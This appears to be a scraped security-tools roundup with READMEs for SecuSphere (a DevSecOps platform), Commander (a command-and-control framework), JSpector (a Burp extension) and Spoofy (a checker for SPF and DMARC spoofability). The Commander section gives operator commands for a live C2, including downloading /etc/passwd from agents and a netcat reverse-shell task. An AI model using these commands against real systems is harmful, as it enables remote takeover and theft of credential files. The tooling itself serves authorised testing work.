2. Create a New Issue: If your problem hasn't been reported, please create a new issue in the GitHub repository. Click the Issues tab and then click New Issue.

3. Describe the Issue: When creating a new issue, please provide as much information as possible. Include a clear and descriptive title, explain the problem in detail, and provide steps to reproduce the issue if possible. Including the version of the tool you're using and your operating system can also be helpful.

4. Submit the Issue: After you've filled out all the necessary information, click Submit new issue.

Your feedback is important, and will help improve the tool. I appreciate your contribution!

Resolving an Issue

I'll be reviewing reported issues on a regular basis and try to reproduce the issue based on your description and will communicate with you for further information if necessary. Once I understand the issue, I'll work on a fix.

Please note that resolving an issue may take some time depending on its complexity. I appreciate your patience and understanding.

Contributing

I warmly welcome and appreciate contributions from the community! If you're interested in contributing on any existing or new modules, feel free to submit a pull request (PR) with any new/existing modules or features you'd like to add.

Once you've submitted a PR, I'll review it as soon as I can. I might request some changes or improvements before merging your PR. Your contributions play a crucial role in making the tool better, and I'm excited to see what you'll bring to the project!

Thank you for considering contributing to the project.

Questions and Issues

If you have any questions regarding the tool or any of its modules, please check out the documentation first. I've tried to provide clear, comprehensive information related to all of its modules. If however your query is not yet solved or you have a different question altogether please don't hesitate to reach out to me via Twitter or LinkedIn. I'm always happy to help and provide support. :)

SecuSphere - Efficient DevSecOps

SecuSphere is a comprehensive DevSecOps platform designed to streamline and enhance your organization's security posture throughout the software development life cycle. Our platform serves as a centralized hub for vulnerability management, security assessments, CI/CD pipeline integration, and fostering DevSecOps practices and culture.

Centralized Vulnerability Management

At the heart of SecuSphere is a powerful vulnerability management system. Our platform collects, processes, and prioritizes vulnerabilities, integrating with a wide array of vulnerability scanners and security testing tools. Risk-based prioritization and automated assignment of vulnerabilities streamline the remediation process, ensuring that your teams tackle the most critical issues first. Additionally, our platform offers robust dashboards and reporting capabilities, allowing you to track and monitor vulnerability status in real-time.

Seamless CI/CD Pipeline Integration

SecuSphere integrates seamlessly with your existing CI/CD pipelines, providing real-time security feedback throughout your development process. Our platform enables automated triggering of security scans and assessments at various stages of your pipeline. Furthermore, SecuSphere enforces security gates to prevent vulnerable code from progressing to production, ensuring that security is built into your applications from the ground up. This continuous feedback loop empowers developers to identify and fix vulnerabilities early in the development cycle.

Comprehensive Security Assessment

SecuSphere offers a robust framework for consuming and analyzing security assessment reports from various CI/CD pipeline stages. Our platform automates the aggregation, normalization, and correlation of security findings, providing a holistic view of your application's security landscape. Intelligent deduplication and false-positive elimination reduce noise in the vulnerability data, ensuring that your teams focus on real threats. Furthermore, SecuSphere integrates with ticketing systems to facilitate the creation and management of remediation tasks.

Cultivating DevSecOps Practices

SecuSphere goes beyond tools and technology to help you drive and accelerate the adoption of DevSecOps principles and practices within your organization. Our platform provides security training and awareness for developers, security, and operations teams, helping to embed security within your development and operations processes. SecuSphere aids in establishing secure coding guidelines and best practices and fosters collaboration and communication between security, development, and operations teams. With SecuSphere, you'll create a culture of shared responsibility for security, enabling you to build more secure, reliable software.

Embrace the power of integrated DevSecOps with SecuSphere – secure your software development, from code to cloud.

 Features

• Vulnerability Management: Collect, process, prioritize, and remediate vulnerabilities from a centralized platform, integrating with various vulnerability scanners and security testing tools.
• CI/CD Pipeline Integration: Provide real-time security feedback with seamless CI/CD pipeline integration, including automated security scans, security gates, and a continuous feedback loop for developers.
• Security Assessment: Analyze security assessment reports from various CI/CD pipeline stages with automated aggregation, normalization, correlation of security findings, and intelligent deduplication.
• DevSecOps Practices: Drive and accelerate the adoption of DevSecOps principles and practices within your team. Benefit from our security training, secure coding guidelines, and collaboration tools.

Dashboard and Reporting

SecuSphere offers built-in dashboards and reporting capabilities that allow you to easily track and monitor the status of vulnerabilities. With our risk-based prioritization and automated assignment features, vulnerabilities are efficiently managed and sent to the relevant teams for remediation.

API and Web Console

SecuSphere provides a comprehensive REST API and Web Console. This allows for greater flexibility and control over your security operations, ensuring you can automate and integrate SecuSphere into your existing systems and workflows as seamlessly as possible.

For more information please refer to our Official Rest API Documentation

Integration with Ticketing Systems

SecuSphere integrates with popular ticketing systems, enabling the creation and management of remediation tasks directly within the platform. This helps streamline your security operations and ensure faster resolution of identified vulnerabilities.

Security Training and Awareness

SecuSphere is not just a tool, it's a comprehensive solution that drives and accelerates the adoption of DevSecOps principles and practices. We provide security training and awareness for developers, security, and operations teams, and aid in establishing secure coding guidelines and best practices.

User Guide

Get started with SecuSphere using our comprehensive user guide.

 Installation

You can install SecuSphere by cloning the repository, setting up locally, or using Docker.

Clone the Repository

$ git clone https://github.com/SecurityUniversalOrg/SecuSphere.git

Setup

Local Setup

Navigate to the source directory and run the Python file:

$ cd src/
$ python run.py

Dockerfile Setup

Build and run the Dockerfile in the cicd directory:

$ # From repository root
$ docker build -t secusphere:latest .
$ docker run secusphere:latest

Docker Compose

Use Docker Compose in the ci_cd/iac/ directory:

$ cd ci_cd/iac/
$ docker-compose -f secusphere.yml up

Pull from Docker Hub

Pull the latest version of SecuSphere from Docker Hub and run it:

$ docker pull securityuniversal/secusphere:latest
$ docker run -p 8081:80 -d secusphere:latest

Feedback and Support

We value your feedback and are committed to providing the best possible experience with SecuSphere. If you encounter any issues or have suggestions for improvement, please create an issue in this repository or contact our support team.

Contributing

We welcome contributions to SecuSphere. If you're interested in improving SecuSphere or adding new features, please read our contributing guide.

Commander - A Command And Control (C2) Server

Commander is a command and control framework (C2) written in Python, Flask and SQLite. It comes with two agents written in Python and C.

Under Continuous Development

Not script-kiddie friendly

Features

• Fully encrypted communication (TLS)
• Multiple Agents
• Obfuscation
• Interactive Sessions
• Scalable
• Base64 data encoding
• RESTful API

Agents

• Python 3
  • The python agent supports:
    • sessions, an interactive shell between the admin and the agent (like ssh)
    • obfuscation
    • Both Windows and Linux systems
    • download/upload files functionality
• C
  • The C agent supports only the basic functionality for now, the control of tasks for the agents
  • Only for Linux systems

Requirements

Python >= 3.6 is required to run and the following dependencies

Linux for the admin.py and c2_server.py. (Untested for windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

How to Use it

First create the required certs and keys

# if you want to secure your key with a passphrase exclude the -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Start the admin.py module first in order to create a local sqlite db file

python3 admin.py

Continue by running the server

python3 c2_server.py

And last the agent. For the python case agent you can just run it but in the case of the C agent you need to compile it first.

# python agent
python3 agent.py

# C agent
gcc agent.c -o agent -lcurl -lb64
./agent

By default both the Agents and the server are running over TLS and base64. The communication point is set to 127.0.0.1:5000 and in case a different point is needed it should be changed in Agents source files.

As the Operator/Administrator you can use the following commands to control your agents

Commands:

  task add arg c2-commands
    Add a task to an agent, to a group or on all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
    c2-commands: possible values are c2-register c2-shell c2-sleep c2-quit
      c2-register: Triggers the agent to register again.
      c2-shell cmd: It takes an shell command for the agent to execute. eg. c2-shell whoami
         cmd: The command to execute.
      c2-sleep: Configure the interval that an agent will check for tasks.
      c2-session port: Instructs the agent to open a shell session with the server to this port.
         port: The port to connect to. If it is not provided it defaults to 5555.
      c2-quit: Forces an agent to quit.

  task delete arg
    Delete a task from an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show agent arg
    Displays inf   o for all the availiable agents or for specific agent.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show task arg
    Displays the task of an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show result arg
    Displays the history/result of an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  find active agents
    Drops the database so that the active agents will be registered again.

  exit
    Bye Bye!


Sessions:

  sessions server arg [port]
    Controls a session handler.
    arg: can have the following values: 'start' , 'stop' 'status' 
    port: port is optional for the start arg and if it is not provided it defaults to 5555. This argument defines the port of the sessions server
  sessions select arg
    Select in which session to attach.
       arg: the index from the 'sessions list' result 
  sessions close arg
    Close a session.
    arg: the index from the 'sessions list' result 
  sessions list
    Displays the availiable sessions
  local-ls directory
    Lists on your host the files on the selected directory 
  download 'file'
    Downloads the 'file' locally on the current directory 
  upload 'file'
    Uploads a file in the directory where the agent currently is 

Special attention should be given to the 'find active agents' command. This command deletes all the tables and creates them again. It might sound scary but it is not, at least that is what i believe :P

The idea behind this functionality is that the c2 server can request from an agent to re-register at the case that it doesn't recognize him. So, since we want to clear the db from unused old entries and at the same time find all the currently active hosts we can drop the tables and trigger the re-register mechanism of the c2 server. See below for the re-registration mechanism.

Flows

Below you can find a normal flow diagram

Normal Flow

In case where the environment experiences a major failure like a corrupted database or some other critical failure the re-registration mechanism is enabled so we don't lose our connection with our agents.

More specifically, in case where we lose the database we will not have any information about the uuids that we are receiving thus we can't set tasks on them etc... So, the agents will keep trying to retrieve their tasks and since we don't recognize them we will ask them to register again so we can insert them in our database and we can control them again.

Below is the flow diagram for this case.

Re-register Flow

Useful examples

To setup your environment start the admin.py first and then the c2_server.py and run the agent. After you can check the availiable agents.

# show all availiable agents
show agent all

To instruct all the agents to run the command "id" you can do it like this:

# check the results of a specific agent
show result 85913eb1245d40eb96cf53eaf0b1e241

# to set it for all agents
task add all c2-sleep 30

# find the agent/uuid
show agent all

# enable the server to accept connections
sessions server start 5555

# add a task for a session to your prefered agent
task add your_prefered_agent_uuid_here c2-session 5555

# display a list of available connections
sessions list

# select to attach to one of the sessions, lets select 0
sessions select 0

# run a command
id

# download the passwd file locally
download /etc/passwd

# list your files locally to check that passwd was created
local-ls

# upload a file (test.txt) in the directory where the agent is
upload test.txt

# return to the main cli
go back

# check if the server is running
sessions server status

# stop the sessions server
sessions server stop

# show all availiable agents
show agent all

# first open a netcat on your machine
nc -vnlp 4444

# add a task to open a reverse shell for a specific agent
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

python3 obfuscator.py

# and to run the agent, do as usual
python3 obs_agent.py

gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 

pip install pyinstaller
pyinstaller --onefile agent.py

cd tests/
py.test

# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html

JSpector - A Simple Burp Suite Extension To Crawl JavaScript (JS) Files In Passive Mode And Display The Results Directly On The Issues

JSpector is a Burp Suite extension that passively crawls JavaScript files and automatically creates issues with URLs, endpoints and dangerous methods found on the JS files.

Prerequisites

Before installing JSpector, you need to have Jython installed on Burp Suite.

Installation

1. Download the latest version of JSpector
2. Open Burp Suite and navigate to the Extensions tab.
3. Click the Add button in the Installed tab.
4. In the Extension Details dialog box, select Python as the Extension Type.
5. Click the Select file button and navigate to the JSpector.py.
6. Click the Next button.
7. Once the output shows: "JSpector extension loaded successfully", click the Close button.

Usage

• Just navigate through your targets and JSpector will start passively crawl JS files in the background and automatically returns the results on the Dashboard tab.
• You can export all the results to the clipboard (URLs, endpoints and dangerous methods) with a right click directly on the JS file:

Spoofy - Program That Checks If A List Of Domains Can Be Spoofed Based On SPF And DMARC Records

Spoofy is a program that checks if a list of domains can be spoofed based on SPF and DMARC records. You may be asking, "Why do we need another tool that can check if a domain can be spoofed?"

Well, Spoofy is different and here is why:

1. Authoritative lookups on all lookups with known fallback (Cloudflare DNS)
2. Accurate bulk lookups
3. Custom, manually tested spoof logic (No guessing or speculating, real world test results)
4. SPF lookup counter

HOW TO USE

Spoofy requires Python 3+. Python 2 is not supported. Usage is shown below:

Usage:
    ./spoofy.py -d [DOMAIN] -o [stdout or xls]
    OR
    ./spoofy.py -iL [DOMAIN_LIST] -o [stdout or xls]

Install Dependencies:
    pip3 install -r requirements.txt

HOW DO YOU KNOW ITS SPOOFABLE

(The spoofability table lists every combination of SPF and DMARC configurations that impact deliverability to the inbox, except for DKIM modifiers.) Download Here

METHODOLOGY

The creation of the spoofability table involved listing every relevant SPF and DMARC configuration, combining them, and then conducting SPF and DMARC information collection using an early version of Spoofy on a large number of US government domains. Testing if an SPF and DMARC combination was spoofable or not was done using the email security pentesting suite at emailspooftest using Microsoft 365. However, the initial testing was conducted using Protonmail and Gmail, but these services were found to utilize reverse lookup checks that affected the results, particularly for subdomain spoof testing. As a result, Microsoft 365 was used for the testing, as it offered greater control over the handling of mail.

After the initial testing using Microsoft 365, some combinations were retested using Protonmail and Gmail due to the differences in their handling of banners in emails. Protonmail and Gmail can place spoofed mail in the inbox with a banner or in spam without a banner, leading to some SPF and DMARC combinations being reported as "Mailbox Dependent" when using Spoofy. In contrast, Microsoft 365 places both conditions in spam. The testing and data collection process took several days to complete, after which a good master table was compiled and used as the basis for the Spoofy spoofability logic.

DISCLAIMER

This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software.

CREDIT

Lead / Only programmer & spoofability logic comprehension upgrades & lookup resiliency system / fix (main issue with other tools) & multithreading & feature additions: Matt Keeley

DMARC, SPF, DNS insights & Spoofability table creation/confirmation/testing & application accuracy/quality assurance: calamity.email / eman-ekaf

Logo: cobracode

Tool was inspired by Bishop Fox's project called spoofcheck.